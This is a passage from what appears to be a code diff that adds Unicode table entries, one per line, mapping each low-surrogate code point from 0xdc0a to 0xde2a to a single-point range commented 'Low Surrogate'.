+ [0xdc0a, 0xdc0a], /* Low Surrogate */
+ [0xdc0b, 0xdc0b], /* Low Surrogate */
+ [0xdc0c, 0xdc0c], /* Low Surrogate */
+ [0xdc0d, 0xdc0d], /* Low Surrogate */
+ [0xdc0e, 0xdc0e], /* Low Surrogate */
+ [0xdc0f, 0xdc0f], /* Low Surrogate */
+ [0xdc10, 0xdc10], /* Low Surrogate */
+ [0xdc11, 0xdc11], /* Low Surrogate */
+ [0xdc12, 0xdc12], /* Low Surrogate */
+ [0xdc13, 0xdc13], /* Low Surrogate */
+ [0xdc14, 0xdc14], /* Low Surrogate */
+ [0xdc15, 0xdc15], /* Low Surrogate */
+ [0xdc16, 0xdc16], /* Low Surrogate */
+ [0xdc17, 0xdc17], /* Low Surrogate */
+ [0xdc18, 0xdc18], /* Low Surrogate */
+ [0xdc19, 0xdc19], /* Low Surrogate */
+ [0xdc1a, 0xdc1a], /* Low Surrogate */
+ [0xdc1b, 0xdc1b], /* Low Surrogate */
+ [0xdc1c, 0xdc1c], /* Low Surrogate */
+ [0xdc1d, 0xdc1d], /* Low Surrogate */
+ [0xdc1e, 0xdc1e], /* Low Surrogate */
+ [0xdc1f, 0xdc1f], /* Low Surrogate */
+ [0xdc20, 0xdc20], /* Low Surrogate */
+ [0xdc21, 0xdc21], /* Low Surrogate */
+ [0xdc22, 0xdc22], /* Low Surrogate */
+ [0xdc23, 0xdc23], /* Low Surrogate */
+ [0xdc24, 0xdc24], /* Low Surrogate */
+ [0xdc25, 0xdc25], /* Low Surrogate */
+ [0xdc26, 0xdc26], /* Low Surrogate */
+ [0xdc27, 0xdc27], /* Low Surrogate */
+ [0xdc28, 0xdc28], /* Low Surrogate */
+ [0xdc29, 0xdc29], /* Low Surrogate */
+ [0xdc2a, 0xdc2a], /* Low Surrogate */
+ [0xdc2b, 0xdc2b], /* Low Surrogate */
+ [0xdc2c, 0xdc2c], /* Low Surrogate */
+ [0xdc2d, 0xdc2d], /* Low Surrogate */
+ [0xdc2e, 0xdc2e], /* Low Surrogate */
+ [0xdc2f, 0xdc2f], /* Low Surrogate */
+ [0xdc30, 0xdc30], /* Low Surrogate */
+ [0xdc31, 0xdc31], /* Low Surrogate */
+ [0xdc32, 0xdc32], /* Low Surrogate */
+ [0xdc33, 0xdc33], /* Low Surrogate */
+ [0xdc34, 0xdc34], /* Low Surrogate */
+ [0xdc35, 0xdc35], /* Low Surrogate */
+ [0xdc36, 0xdc36], /* Low Surrogate */
+ [0xdc37, 0xdc37], /* Low Surrogate */
+ [0xdc38, 0xdc38], /* Low Surrogate */
+ [0xdc39, 0xdc39], /* Low Surrogate */
+ [0xdc3a, 0xdc3a], /* Low Surrogate */
+ [0xdc3b, 0xdc3b], /* Low Surrogate */
+ [0xdc3c, 0xdc3c], /* Low Surrogate */
+ [0xdc3d, 0xdc3d], /* Low Surrogate */
+ [0xdc3e, 0xdc3e], /* Low Surrogate */
+ [0xdc3f, 0xdc3f], /* Low Surrogate */
+ [0xdc40, 0xdc40], /* Low Surrogate */
+ [0xdc41, 0xdc41], /* Low Surrogate */
+ [0xdc42, 0xdc42], /* Low Surrogate */
+ [0xdc43, 0xdc43], /* Low Surrogate */
+ [0xdc44, 0xdc44], /* Low Surrogate */
+ [0xdc45, 0xdc45], /* Low Surrogate */
+ [0xdc46, 0xdc46], /* Low Surrogate */
+ [0xdc47, 0xdc47], /* Low Surrogate */
+ [0xdc48, 0xdc48], /* Low Surrogate */
+ [0xdc49, 0xdc49], /* Low Surrogate */
+ [0xdc4a, 0xdc4a], /* Low Surrogate */
+ [0xdc4b, 0xdc4b], /* Low Surrogate */
+ [0xdc4c, 0xdc4c], /* Low Surrogate */
+ [0xdc4d, 0xdc4d], /* Low Surrogate */
+ [0xdc4e, 0xdc4e], /* Low Surrogate */
+ [0xdc4f, 0xdc4f], /* Low Surrogate */
+ [0xdc50, 0xdc50], /* Low Surrogate */
+ [0xdc51, 0xdc51], /* Low Surrogate */
+ [0xdc52, 0xdc52], /* Low Surrogate */
+ [0xdc53, 0xdc53], /* Low Surrogate */
+ [0xdc54, 0xdc54], /* Low Surrogate */
+ [0xdc55, 0xdc55], /* Low Surrogate */
+ [0xdc56, 0xdc56], /* Low Surrogate */
+ [0xdc57, 0xdc57], /* Low Surrogate */
+ [0xdc58, 0xdc58], /* Low Surrogate */
+ [0xdc59, 0xdc59], /* Low Surrogate */
+ [0xdc5a, 0xdc5a], /* Low Surrogate */
+ [0xdc5b, 0xdc5b], /* Low Surrogate */
+ [0xdc5c, 0xdc5c], /* Low Surrogate */
+ [0xdc5d, 0xdc5d], /* Low Surrogate */
+ [0xdc5e, 0xdc5e], /* Low Surrogate */
+ [0xdc5f, 0xdc5f], /* Low Surrogate */
+ [0xdc60, 0xdc60], /* Low Surrogate */
+ [0xdc61, 0xdc61], /* Low Surrogate */
+ [0xdc62, 0xdc62], /* Low Surrogate */
+ [0xdc63, 0xdc63], /* Low Surrogate */
+ [0xdc64, 0xdc64], /* Low Surrogate */
+ [0xdc65, 0xdc65], /* Low Surrogate */
+ [0xdc66, 0xdc66], /* Low Surrogate */
+ [0xdc67, 0xdc67], /* Low Surrogate */
+ [0xdc68, 0xdc68], /* Low Surrogate */
+ [0xdc69, 0xdc69], /* Low Surrogate */
+ [0xdc6a, 0xdc6a], /* Low Surrogate */
+ [0xdc6b, 0xdc6b], /* Low Surrogate */
+ [0xdc6c, 0xdc6c], /* Low Surrogate */
+ [0xdc6d, 0xdc6d], /* Low Surrogate */
+ [0xdc6e, 0xdc6e], /* Low Surrogate */
+ [0xdc6f, 0xdc6f], /* Low Surrogate */
+ [0xdc70, 0xdc70], /* Low Surrogate */
+ [0xdc71, 0xdc71], /* Low Surrogate */
+ [0xdc72, 0xdc72], /* Low Surrogate */
+ [0xdc73, 0xdc73], /* Low Surrogate */
+ [0xdc74, 0xdc74], /* Low Surrogate */
+ [0xdc75, 0xdc75], /* Low Surrogate */
+ [0xdc76, 0xdc76], /* Low Surrogate */
+ [0xdc77, 0xdc77], /* Low Surrogate */
+ [0xdc78, 0xdc78], /* Low Surrogate */
+ [0xdc79, 0xdc79], /* Low Surrogate */
+ [0xdc7a, 0xdc7a], /* Low Surrogate */
+ [0xdc7b, 0xdc7b], /* Low Surrogate */
+ [0xdc7c, 0xdc7c], /* Low Surrogate */
+ [0xdc7d, 0xdc7d], /* Low Surrogate */
+ [0xdc7e, 0xdc7e], /* Low Surrogate */
+ [0xdc7f, 0xdc7f], /* Low Surrogate */
+ [0xdc80, 0xdc80], /* Low Surrogate */
+ [0xdc81, 0xdc81], /* Low Surrogate */
+ [0xdc82, 0xdc82], /* Low Surrogate */
+ [0xdc83, 0xdc83], /* Low Surrogate */
+ [0xdc84, 0xdc84], /* Low Surrogate */
+ [0xdc85, 0xdc85], /* Low Surrogate */
+ [0xdc86, 0xdc86], /* Low Surrogate */
+ [0xdc87, 0xdc87], /* Low Surrogate */
+ [0xdc88, 0xdc88], /* Low Surrogate */
+ [0xdc89, 0xdc89], /* Low Surrogate */
+ [0xdc8a, 0xdc8a], /* Low Surrogate */
+ [0xdc8b, 0xdc8b], /* Low Surrogate */
+ [0xdc8c, 0xdc8c], /* Low Surrogate */
+ [0xdc8d, 0xdc8d], /* Low Surrogate */
+ [0xdc8e, 0xdc8e], /* Low Surrogate */
+ [0xdc8f, 0xdc8f], /* Low Surrogate */
+ [0xdc90, 0xdc90], /* Low Surrogate */
+ [0xdc91, 0xdc91], /* Low Surrogate */
+ [0xdc92, 0xdc92], /* Low Surrogate */
+ [0xdc93, 0xdc93], /* Low Surrogate */
+ [0xdc94, 0xdc94], /* Low Surrogate */
+ [0xdc95, 0xdc95], /* Low Surrogate */
+ [0xdc96, 0xdc96], /* Low Surrogate */
+ [0xdc97, 0xdc97], /* Low Surrogate */
+ [0xdc98, 0xdc98], /* Low Surrogate */
+ [0xdc99, 0xdc99], /* Low Surrogate */
+ [0xdc9a, 0xdc9a], /* Low Surrogate */
+ [0xdc9b, 0xdc9b], /* Low Surrogate */
+ [0xdc9c, 0xdc9c], /* Low Surrogate */
+ [0xdc9d, 0xdc9d], /* Low Surrogate */
+ [0xdc9e, 0xdc9e], /* Low Surrogate */
+ [0xdc9f, 0xdc9f], /* Low Surrogate */
+ [0xdca0, 0xdca0], /* Low Surrogate */
+ [0xdca1, 0xdca1], /* Low Surrogate */
+ [0xdca2, 0xdca2], /* Low Surrogate */
+ [0xdca3, 0xdca3], /* Low Surrogate */
+ [0xdca4, 0xdca4], /* Low Surrogate */
+ [0xdca5, 0xdca5], /* Low Surrogate */
+ [0xdca6, 0xdca6], /* Low Surrogate */
+ [0xdca7, 0xdca7], /* Low Surrogate */
+ [0xdca8, 0xdca8], /* Low Surrogate */
+ [0xdca9, 0xdca9], /* Low Surrogate */
+ [0xdcaa, 0xdcaa], /* Low Surrogate */
+ [0xdcab, 0xdcab], /* Low Surrogate */
+ [0xdcac, 0xdcac], /* Low Surrogate */
+ [0xdcad, 0xdcad], /* Low Surrogate */
+ [0xdcae, 0xdcae], /* Low Surrogate */
+ [0xdcaf, 0xdcaf], /* Low Surrogate */
+ [0xdcb0, 0xdcb0], /* Low Surrogate */
+ [0xdcb1, 0xdcb1], /* Low Surrogate */
+ [0xdcb2, 0xdcb2], /* Low Surrogate */
+ [0xdcb3, 0xdcb3], /* Low Surrogate */
+ [0xdcb4, 0xdcb4], /* Low Surrogate */
+ [0xdcb5, 0xdcb5], /* Low Surrogate */
+ [0xdcb6, 0xdcb6], /* Low Surrogate */
+ [0xdcb7, 0xdcb7], /* Low Surrogate */
+ [0xdcb8, 0xdcb8], /* Low Surrogate */
+ [0xdcb9, 0xdcb9], /* Low Surrogate */
+ [0xdcba, 0xdcba], /* Low Surrogate */
+ [0xdcbb, 0xdcbb], /* Low Surrogate */
+ [0xdcbc, 0xdcbc], /* Low Surrogate */
+ [0xdcbd, 0xdcbd], /* Low Surrogate */
+ [0xdcbe, 0xdcbe], /* Low Surrogate */
+ [0xdcbf, 0xdcbf], /* Low Surrogate */
+ [0xdcc0, 0xdcc0], /* Low Surrogate */
+ [0xdcc1, 0xdcc1], /* Low Surrogate */
+ [0xdcc2, 0xdcc2], /* Low Surrogate */
+ [0xdcc3, 0xdcc3], /* Low Surrogate */
+ [0xdcc4, 0xdcc4], /* Low Surrogate */
+ [0xdcc5, 0xdcc5], /* Low Surrogate */
+ [0xdcc6, 0xdcc6], /* Low Surrogate */
+ [0xdcc7, 0xdcc7], /* Low Surrogate */
+ [0xdcc8, 0xdcc8], /* Low Surrogate */
+ [0xdcc9, 0xdcc9], /* Low Surrogate */
+ [0xdcca, 0xdcca], /* Low Surrogate */
+ [0xdccb, 0xdccb], /* Low Surrogate */
+ [0xdccc, 0xdccc], /* Low Surrogate */
+ [0xdccd, 0xdccd], /* Low Surrogate */
+ [0xdcce, 0xdcce], /* Low Surrogate */
+ [0xdccf, 0xdccf], /* Low Surrogate */
+ [0xdcd0, 0xdcd0], /* Low Surrogate */
+ [0xdcd1, 0xdcd1], /* Low Surrogate */
+ [0xdcd2, 0xdcd2], /* Low Surrogate */
+ [0xdcd3, 0xdcd3], /* Low Surrogate */
+ [0xdcd4, 0xdcd4], /* Low Surrogate */
+ [0xdcd5, 0xdcd5], /* Low Surrogate */
+ [0xdcd6, 0xdcd6], /* Low Surrogate */
+ [0xdcd7, 0xdcd7], /* Low Surrogate */
+ [0xdcd8, 0xdcd8], /* Low Surrogate */
+ [0xdcd9, 0xdcd9], /* Low Surrogate */
+ [0xdcda, 0xdcda], /* Low Surrogate */
+ [0xdcdb, 0xdcdb], /* Low Surrogate */
+ [0xdcdc, 0xdcdc], /* Low Surrogate */
+ [0xdcdd, 0xdcdd], /* Low Surrogate */
+ [0xdcde, 0xdcde], /* Low Surrogate */
+ [0xdcdf, 0xdcdf], /* Low Surrogate */
+ [0xdce0, 0xdce0], /* Low Surrogate */
+ [0xdce1, 0xdce1], /* Low Surrogate */
+ [0xdce2, 0xdce2], /* Low Surrogate */
+ [0xdce3, 0xdce3], /* Low Surrogate */
+ [0xdce4, 0xdce4], /* Low Surrogate */
+ [0xdce5, 0xdce5], /* Low Surrogate */
+ [0xdce6, 0xdce6], /* Low Surrogate */
+ [0xdce7, 0xdce7], /* Low Surrogate */
+ [0xdce8, 0xdce8], /* Low Surrogate */
+ [0xdce9, 0xdce9], /* Low Surrogate */
+ [0xdcea, 0xdcea], /* Low Surrogate */
+ [0xdceb, 0xdceb], /* Low Surrogate */
+ [0xdcec, 0xdcec], /* Low Surrogate */
+ [0xdced, 0xdced], /* Low Surrogate */
+ [0xdcee, 0xdcee], /* Low Surrogate */
+ [0xdcef, 0xdcef], /* Low Surrogate */
+ [0xdcf0, 0xdcf0], /* Low Surrogate */
+ [0xdcf1, 0xdcf1], /* Low Surrogate */
+ [0xdcf2, 0xdcf2], /* Low Surrogate */
+ [0xdcf3, 0xdcf3], /* Low Surrogate */
+ [0xdcf4, 0xdcf4], /* Low Surrogate */
+ [0xdcf5, 0xdcf5], /* Low Surrogate */
+ [0xdcf6, 0xdcf6], /* Low Surrogate */
+ [0xdcf7, 0xdcf7], /* Low Surrogate */
+ [0xdcf8, 0xdcf8], /* Low Surrogate */
+ [0xdcf9, 0xdcf9], /* Low Surrogate */
+ [0xdcfa, 0xdcfa], /* Low Surrogate */
+ [0xdcfb, 0xdcfb], /* Low Surrogate */
+ [0xdcfc, 0xdcfc], /* Low Surrogate */
+ [0xdcfd, 0xdcfd], /* Low Surrogate */
+ [0xdcfe, 0xdcfe], /* Low Surrogate */
+ [0xdcff, 0xdcff], /* Low Surrogate */
+ [0xdd00, 0xdd00], /* Low Surrogate */
+ [0xdd01, 0xdd01], /* Low Surrogate */
+ [0xdd02, 0xdd02], /* Low Surrogate */
+ [0xdd03, 0xdd03], /* Low Surrogate */
+ [0xdd04, 0xdd04], /* Low Surrogate */
+ [0xdd05, 0xdd05], /* Low Surrogate */
+ [0xdd06, 0xdd06], /* Low Surrogate */
+ [0xdd07, 0xdd07], /* Low Surrogate */
+ [0xdd08, 0xdd08], /* Low Surrogate */
+ [0xdd09, 0xdd09], /* Low Surrogate */
+ [0xdd0a, 0xdd0a], /* Low Surrogate */
+ [0xdd0b, 0xdd0b], /* Low Surrogate */
+ [0xdd0c, 0xdd0c], /* Low Surrogate */
+ [0xdd0d, 0xdd0d], /* Low Surrogate */
+ [0xdd0e, 0xdd0e], /* Low Surrogate */
+ [0xdd0f, 0xdd0f], /* Low Surrogate */
+ [0xdd10, 0xdd10], /* Low Surrogate */
+ [0xdd11, 0xdd11], /* Low Surrogate */
+ [0xdd12, 0xdd12], /* Low Surrogate */
+ [0xdd13, 0xdd13], /* Low Surrogate */
+ [0xdd14, 0xdd14], /* Low Surrogate */
+ [0xdd15, 0xdd15], /* Low Surrogate */
+ [0xdd16, 0xdd16], /* Low Surrogate */
+ [0xdd17, 0xdd17], /* Low Surrogate */
+ [0xdd18, 0xdd18], /* Low Surrogate */
+ [0xdd19, 0xdd19], /* Low Surrogate */
+ [0xdd1a, 0xdd1a], /* Low Surrogate */
+ [0xdd1b, 0xdd1b], /* Low Surrogate */
+ [0xdd1c, 0xdd1c], /* Low Surrogate */
+ [0xdd1d, 0xdd1d], /* Low Surrogate */
+ [0xdd1e, 0xdd1e], /* Low Surrogate */
+ [0xdd1f, 0xdd1f], /* Low Surrogate */
+ [0xdd20, 0xdd20], /* Low Surrogate */
+ [0xdd21, 0xdd21], /* Low Surrogate */
+ [0xdd22, 0xdd22], /* Low Surrogate */
+ [0xdd23, 0xdd23], /* Low Surrogate */
+ [0xdd24, 0xdd24], /* Low Surrogate */
+ [0xdd25, 0xdd25], /* Low Surrogate */
+ [0xdd26, 0xdd26], /* Low Surrogate */
+ [0xdd27, 0xdd27], /* Low Surrogate */
+ [0xdd28, 0xdd28], /* Low Surrogate */
+ [0xdd29, 0xdd29], /* Low Surrogate */
+ [0xdd2a, 0xdd2a], /* Low Surrogate */
+ [0xdd2b, 0xdd2b], /* Low Surrogate */
+ [0xdd2c, 0xdd2c], /* Low Surrogate */
+ [0xdd2d, 0xdd2d], /* Low Surrogate */
+ [0xdd2e, 0xdd2e], /* Low Surrogate */
+ [0xdd2f, 0xdd2f], /* Low Surrogate */
+ [0xdd30, 0xdd30], /* Low Surrogate */
+ [0xdd31, 0xdd31], /* Low Surrogate */
+ [0xdd32, 0xdd32], /* Low Surrogate */
+ [0xdd33, 0xdd33], /* Low Surrogate */
+ [0xdd34, 0xdd34], /* Low Surrogate */
+ [0xdd35, 0xdd35], /* Low Surrogate */
+ [0xdd36, 0xdd36], /* Low Surrogate */
+ [0xdd37, 0xdd37], /* Low Surrogate */
+ [0xdd38, 0xdd38], /* Low Surrogate */
+ [0xdd39, 0xdd39], /* Low Surrogate */
+ [0xdd3a, 0xdd3a], /* Low Surrogate */
+ [0xdd3b, 0xdd3b], /* Low Surrogate */
+ [0xdd3c, 0xdd3c], /* Low Surrogate */
+ [0xdd3d, 0xdd3d], /* Low Surrogate */
+ [0xdd3e, 0xdd3e], /* Low Surrogate */
+ [0xdd3f, 0xdd3f], /* Low Surrogate */
+ [0xdd40, 0xdd40], /* Low Surrogate */
+ [0xdd41, 0xdd41], /* Low Surrogate */
+ [0xdd42, 0xdd42], /* Low Surrogate */
+ [0xdd43, 0xdd43], /* Low Surrogate */
+ [0xdd44, 0xdd44], /* Low Surrogate */
+ [0xdd45, 0xdd45], /* Low Surrogate */
+ [0xdd46, 0xdd46], /* Low Surrogate */
+ [0xdd47, 0xdd47], /* Low Surrogate */
+ [0xdd48, 0xdd48], /* Low Surrogate */
+ [0xdd49, 0xdd49], /* Low Surrogate */
+ [0xdd4a, 0xdd4a], /* Low Surrogate */
+ [0xdd4b, 0xdd4b], /* Low Surrogate */
+ [0xdd4c, 0xdd4c], /* Low Surrogate */
+ [0xdd4d, 0xdd4d], /* Low Surrogate */
+ [0xdd4e, 0xdd4e], /* Low Surrogate */
+ [0xdd4f, 0xdd4f], /* Low Surrogate */
+ [0xdd50, 0xdd50], /* Low Surrogate */
+ [0xdd51, 0xdd51], /* Low Surrogate */
+ [0xdd52, 0xdd52], /* Low Surrogate */
+ [0xdd53, 0xdd53], /* Low Surrogate */
+ [0xdd54, 0xdd54], /* Low Surrogate */
+ [0xdd55, 0xdd55], /* Low Surrogate */
+ [0xdd56, 0xdd56], /* Low Surrogate */
+ [0xdd57, 0xdd57], /* Low Surrogate */
+ [0xdd58, 0xdd58], /* Low Surrogate */
+ [0xdd59, 0xdd59], /* Low Surrogate */
+ [0xdd5a, 0xdd5a], /* Low Surrogate */
+ [0xdd5b, 0xdd5b], /* Low Surrogate */
+ [0xdd5c, 0xdd5c], /* Low Surrogate */
+ [0xdd5d, 0xdd5d], /* Low Surrogate */
+ [0xdd5e, 0xdd5e], /* Low Surrogate */
+ [0xdd5f, 0xdd5f], /* Low Surrogate */
+ [0xdd60, 0xdd60], /* Low Surrogate */
+ [0xdd61, 0xdd61], /* Low Surrogate */
+ [0xdd62, 0xdd62], /* Low Surrogate */
+ [0xdd63, 0xdd63], /* Low Surrogate */
+ [0xdd64, 0xdd64], /* Low Surrogate */
+ [0xdd65, 0xdd65], /* Low Surrogate */
+ [0xdd66, 0xdd66], /* Low Surrogate */
+ [0xdd67, 0xdd67], /* Low Surrogate */
+ [0xdd68, 0xdd68], /* Low Surrogate */
+ [0xdd69, 0xdd69], /* Low Surrogate */
+ [0xdd6a, 0xdd6a], /* Low Surrogate */
+ [0xdd6b, 0xdd6b], /* Low Surrogate */
+ [0xdd6c, 0xdd6c], /* Low Surrogate */
+ [0xdd6d, 0xdd6d], /* Low Surrogate */
+ [0xdd6e, 0xdd6e], /* Low Surrogate */
+ [0xdd6f, 0xdd6f], /* Low Surrogate */
+ [0xdd70, 0xdd70], /* Low Surrogate */
+ [0xdd71, 0xdd71], /* Low Surrogate */
+ [0xdd72, 0xdd72], /* Low Surrogate */
+ [0xdd73, 0xdd73], /* Low Surrogate */
+ [0xdd74, 0xdd74], /* Low Surrogate */
+ [0xdd75, 0xdd75], /* Low Surrogate */
+ [0xdd76, 0xdd76], /* Low Surrogate */
+ [0xdd77, 0xdd77], /* Low Surrogate */
+ [0xdd78, 0xdd78], /* Low Surrogate */
+ [0xdd79, 0xdd79], /* Low Surrogate */
+ [0xdd7a, 0xdd7a], /* Low Surrogate */
+ [0xdd7b, 0xdd7b], /* Low Surrogate */
+ [0xdd7c, 0xdd7c], /* Low Surrogate */
+ [0xdd7d, 0xdd7d], /* Low Surrogate */
+ [0xdd7e, 0xdd7e], /* Low Surrogate */
+ [0xdd7f, 0xdd7f], /* Low Surrogate */
+ [0xdd80, 0xdd80], /* Low Surrogate */
+ [0xdd81, 0xdd81], /* Low Surrogate */
+ [0xdd82, 0xdd82], /* Low Surrogate */
+ [0xdd83, 0xdd83], /* Low Surrogate */
+ [0xdd84, 0xdd84], /* Low Surrogate */
+ [0xdd85, 0xdd85], /* Low Surrogate */
+ [0xdd86, 0xdd86], /* Low Surrogate */
+ [0xdd87, 0xdd87], /* Low Surrogate */
+ [0xdd88, 0xdd88], /* Low Surrogate */
+ [0xdd89, 0xdd89], /* Low Surrogate */
+ [0xdd8a, 0xdd8a], /* Low Surrogate */
+ [0xdd8b, 0xdd8b], /* Low Surrogate */
+ [0xdd8c, 0xdd8c], /* Low Surrogate */
+ [0xdd8d, 0xdd8d], /* Low Surrogate */
+ [0xdd8e, 0xdd8e], /* Low Surrogate */
+ [0xdd8f, 0xdd8f], /* Low Surrogate */
+ [0xdd90, 0xdd90], /* Low Surrogate */
+ [0xdd91, 0xdd91], /* Low Surrogate */
+ [0xdd92, 0xdd92], /* Low Surrogate */
+ [0xdd93, 0xdd93], /* Low Surrogate */
+ [0xdd94, 0xdd94], /* Low Surrogate */
+ [0xdd95, 0xdd95], /* Low Surrogate */
+ [0xdd96, 0xdd96], /* Low Surrogate */
+ [0xdd97, 0xdd97], /* Low Surrogate */
+ [0xdd98, 0xdd98], /* Low Surrogate */
+ [0xdd99, 0xdd99], /* Low Surrogate */
+ [0xdd9a, 0xdd9a], /* Low Surrogate */
+ [0xdd9b, 0xdd9b], /* Low Surrogate */
+ [0xdd9c, 0xdd9c], /* Low Surrogate */
+ [0xdd9d, 0xdd9d], /* Low Surrogate */
+ [0xdd9e, 0xdd9e], /* Low Surrogate */
+ [0xdd9f, 0xdd9f], /* Low Surrogate */
+ [0xdda0, 0xdda0], /* Low Surrogate */
+ [0xdda1, 0xdda1], /* Low Surrogate */
+ [0xdda2, 0xdda2], /* Low Surrogate */
+ [0xdda3, 0xdda3], /* Low Surrogate */
+ [0xdda4, 0xdda4], /* Low Surrogate */
+ [0xdda5, 0xdda5], /* Low Surrogate */
+ [0xdda6, 0xdda6], /* Low Surrogate */
+ [0xdda7, 0xdda7], /* Low Surrogate */
+ [0xdda8, 0xdda8], /* Low Surrogate */
+ [0xdda9, 0xdda9], /* Low Surrogate */
+ [0xddaa, 0xddaa], /* Low Surrogate */
+ [0xddab, 0xddab], /* Low Surrogate */
+ [0xddac, 0xddac], /* Low Surrogate */
+ [0xddad, 0xddad], /* Low Surrogate */
+ [0xddae, 0xddae], /* Low Surrogate */
+ [0xddaf, 0xddaf], /* Low Surrogate */
+ [0xddb0, 0xddb0], /* Low Surrogate */
+ [0xddb1, 0xddb1], /* Low Surrogate */
+ [0xddb2, 0xddb2], /* Low Surrogate */
+ [0xddb3, 0xddb3], /* Low Surrogate */
+ [0xddb4, 0xddb4], /* Low Surrogate */
+ [0xddb5, 0xddb5], /* Low Surrogate */
+ [0xddb6, 0xddb6], /* Low Surrogate */
+ [0xddb7, 0xddb7], /* Low Surrogate */
+ [0xddb8, 0xddb8], /* Low Surrogate */
+ [0xddb9, 0xddb9], /* Low Surrogate */
+ [0xddba, 0xddba], /* Low Surrogate */
+ [0xddbb, 0xddbb], /* Low Surrogate */
+ [0xddbc, 0xddbc], /* Low Surrogate */
+ [0xddbd, 0xddbd], /* Low Surrogate */
+ [0xddbe, 0xddbe], /* Low Surrogate */
+ [0xddbf, 0xddbf], /* Low Surrogate */
+ [0xddc0, 0xddc0], /* Low Surrogate */
+ [0xddc1, 0xddc1], /* Low Surrogate */
+ [0xddc2, 0xddc2], /* Low Surrogate */
+ [0xddc3, 0xddc3], /* Low Surrogate */
+ [0xddc4, 0xddc4], /* Low Surrogate */
+ [0xddc5, 0xddc5], /* Low Surrogate */
+ [0xddc6, 0xddc6], /* Low Surrogate */
+ [0xddc7, 0xddc7], /* Low Surrogate */
+ [0xddc8, 0xddc8], /* Low Surrogate */
+ [0xddc9, 0xddc9], /* Low Surrogate */
+ [0xddca, 0xddca], /* Low Surrogate */
+ [0xddcb, 0xddcb], /* Low Surrogate */
+ [0xddcc, 0xddcc], /* Low Surrogate */
+ [0xddcd, 0xddcd], /* Low Surrogate */
+ [0xddce, 0xddce], /* Low Surrogate */
+ [0xddcf, 0xddcf], /* Low Surrogate */
+ [0xddd0, 0xddd0], /* Low Surrogate */
+ [0xddd1, 0xddd1], /* Low Surrogate */
+ [0xddd2, 0xddd2], /* Low Surrogate */
+ [0xddd3, 0xddd3], /* Low Surrogate */
+ [0xddd4, 0xddd4], /* Low Surrogate */
+ [0xddd5, 0xddd5], /* Low Surrogate */
+ [0xddd6, 0xddd6], /* Low Surrogate */
+ [0xddd7, 0xddd7], /* Low Surrogate */
+ [0xddd8, 0xddd8], /* Low Surrogate */
+ [0xddd9, 0xddd9], /* Low Surrogate */
+ [0xddda, 0xddda], /* Low Surrogate */
+ [0xdddb, 0xdddb], /* Low Surrogate */
+ [0xdddc, 0xdddc], /* Low Surrogate */
+ [0xdddd, 0xdddd], /* Low Surrogate */
+ [0xddde, 0xddde], /* Low Surrogate */
+ [0xdddf, 0xdddf], /* Low Surrogate */
+ [0xdde0, 0xdde0], /* Low Surrogate */
+ [0xdde1, 0xdde1], /* Low Surrogate */
+ [0xdde2, 0xdde2], /* Low Surrogate */
+ [0xdde3, 0xdde3], /* Low Surrogate */
+ [0xdde4, 0xdde4], /* Low Surrogate */
+ [0xdde5, 0xdde5], /* Low Surrogate */
+ [0xdde6, 0xdde6], /* Low Surrogate */
+ [0xdde7, 0xdde7], /* Low Surrogate */
+ [0xdde8, 0xdde8], /* Low Surrogate */
+ [0xdde9, 0xdde9], /* Low Surrogate */
+ [0xddea, 0xddea], /* Low Surrogate */
+ [0xddeb, 0xddeb], /* Low Surrogate */
+ [0xddec, 0xddec], /* Low Surrogate */
+ [0xdded, 0xdded], /* Low Surrogate */
+ [0xddee, 0xddee], /* Low Surrogate */
+ [0xddef, 0xddef], /* Low Surrogate */
+ [0xddf0, 0xddf0], /* Low Surrogate */
+ [0xddf1, 0xddf1], /* Low Surrogate */
+ [0xddf2, 0xddf2], /* Low Surrogate */
+ [0xddf3, 0xddf3], /* Low Surrogate */
+ [0xddf4, 0xddf4], /* Low Surrogate */
+ [0xddf5, 0xddf5], /* Low Surrogate */
+ [0xddf6, 0xddf6], /* Low Surrogate */
+ [0xddf7, 0xddf7], /* Low Surrogate */
+ [0xddf8, 0xddf8], /* Low Surrogate */
+ [0xddf9, 0xddf9], /* Low Surrogate */
+ [0xddfa, 0xddfa], /* Low Surrogate */
+ [0xddfb, 0xddfb], /* Low Surrogate */
+ [0xddfc, 0xddfc], /* Low Surrogate */
+ [0xddfd, 0xddfd], /* Low Surrogate */
+ [0xddfe, 0xddfe], /* Low Surrogate */
+ [0xddff, 0xddff], /* Low Surrogate */
+ [0xde00, 0xde00], /* Low Surrogate */
+ [0xde01, 0xde01], /* Low Surrogate */
+ [0xde02, 0xde02], /* Low Surrogate */
+ [0xde03, 0xde03], /* Low Surrogate */
+ [0xde04, 0xde04], /* Low Surrogate */
+ [0xde05, 0xde05], /* Low Surrogate */
+ [0xde06, 0xde06], /* Low Surrogate */
+ [0xde07, 0xde07], /* Low Surrogate */
+ [0xde08, 0xde08], /* Low Surrogate */
+ [0xde09, 0xde09], /* Low Surrogate */
+ [0xde0a, 0xde0a], /* Low Surrogate */
+ [0xde0b, 0xde0b], /* Low Surrogate */
+ [0xde0c, 0xde0c], /* Low Surrogate */
+ [0xde0d, 0xde0d], /* Low Surrogate */
+ [0xde0e, 0xde0e], /* Low Surrogate */
+ [0xde0f, 0xde0f], /* Low Surrogate */
+ [0xde10, 0xde10], /* Low Surrogate */
+ [0xde11, 0xde11], /* Low Surrogate */
+ [0xde12, 0xde12], /* Low Surrogate */
+ [0xde13, 0xde13], /* Low Surrogate */
+ [0xde14, 0xde14], /* Low Surrogate */
+ [0xde15, 0xde15], /* Low Surrogate */
+ [0xde16, 0xde16], /* Low Surrogate */
+ [0xde17, 0xde17], /* Low Surrogate */
+ [0xde18, 0xde18], /* Low Surrogate */
+ [0xde19, 0xde19], /* Low Surrogate */
+ [0xde1a, 0xde1a], /* Low Surrogate */
+ [0xde1b, 0xde1b], /* Low Surrogate */
+ [0xde1c, 0xde1c], /* Low Surrogate */
+ [0xde1d, 0xde1d], /* Low Surrogate */
+ [0xde1e, 0xde1e], /* Low Surrogate */
+ [0xde1f, 0xde1f], /* Low Surrogate */
+ [0xde20, 0xde20], /* Low Surrogate */
+ [0xde21, 0xde21], /* Low Surrogate */
+ [0xde22, 0xde22], /* Low Surrogate */
+ [0xde23, 0xde23], /* Low Surrogate */
+ [0xde24, 0xde24], /* Low Surrogate */
+ [0xde25, 0xde25], /* Low Surrogate */
+ [0xde26, 0xde26], /* Low Surrogate */
+ [0xde27, 0xde27], /* Low Surrogate */
+ [0xde28, 0xde28], /* Low Surrogate */
+ [0xde29, 0xde29], /* Low Surrogate */
+ [0xde2a, 0xde2a], /* Low Surrogate */
